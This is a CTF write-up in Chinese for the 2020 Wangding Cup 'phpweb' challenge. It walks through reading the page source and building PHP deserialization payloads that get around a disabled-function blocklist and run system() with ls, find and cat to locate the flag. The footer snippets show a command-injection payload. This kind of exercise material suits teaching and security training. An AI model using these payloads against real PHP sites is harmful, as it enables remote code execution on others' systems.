[网鼎杯 2020 朱雀组]phpweb

ENJOEY 2021-05-23 13:40:18 2640 0


拿到题目访问一下,发现页面会自动刷新


所以我们抓一下包


很明显date是一个php的函数,而p是其中的一个参数,表示输出时间。
因此我们可以执行一下eval函数


很明显,被拦了。这时候我们可以考虑一下读取index.php的源码
利用highlight_file函数

func=highlight_file&p=index.php



<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);#调用函数
        $a= gettype($result);#获取类型
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);#字符转小写
        if (!in_array($func,$disable_fun)) {#在数组中搜索值
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
```
很明显这里的Test就是读取了func,需要你构造一个反序列化去绕过。

```c
<?php
class Test{
    var $p="ls /";
    var $func="system";
}
$a =new Test();
echo serialize($a);

然后对代码进行分析构造payload,题目要求我们构造一个反序列化

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}


#构造payload
#反序列化前的语句:find / -name flag*
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

找到存有flag 的文件夹/tmp/flagoefiu4r93


最后找到flag

#构造payload
#反序列化前的语句:cat /tmp/flagoefiu4r93
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}


flag为动态的

分类:WEB
image
作者:ENJOEY

1

提交

0

收入

相关WriteUP

  • 第四届强网杯-主动 writeup

    打开题目很明显是命令注入ls查看一下发现有flag.php和index.php由于过滤了flag,就是用通配符?来绕过,发现cat不行,经过测试好像只有tac可以,就用ip=127.0.01;tac????.php来获取flag

    • WEB
    • 2年前
  • ciscn 2021 web upload

    upload发现文件index.php、example.php知识点1:绕过getimagesize在上传的文件最后面加上#definewidth1#defineheight1知识点2:绕过zip字符中的i结合https://bugs.php.net/bug.php?id=77375使用İ字符可以绕过i字符的匹配,如果php这三个字符也能绕过就能直接上传php了~~,官方中发现只能针对这几个字符a...

    • WEB
    • 2年前
  • 蓝帽杯半决赛WEBWrite UP

    ##杰克与肉丝考点主要是后面md5和sha比较,由于传入的object类型。而md5和sha1不能处理object类型。所以会爆出一个False.至此。判断就都过去了。然后eval执行`eval(newException('phpinfo();?&gt;'))`这里会把一个类当作字符串带入eval。也就是说。会触发Exception类的__toString魔术方法手册链接:`https://www...

    • WEB
    • 2年前
  • 记xss跨站脚本攻击

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 2年前
  • Whois

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 5月前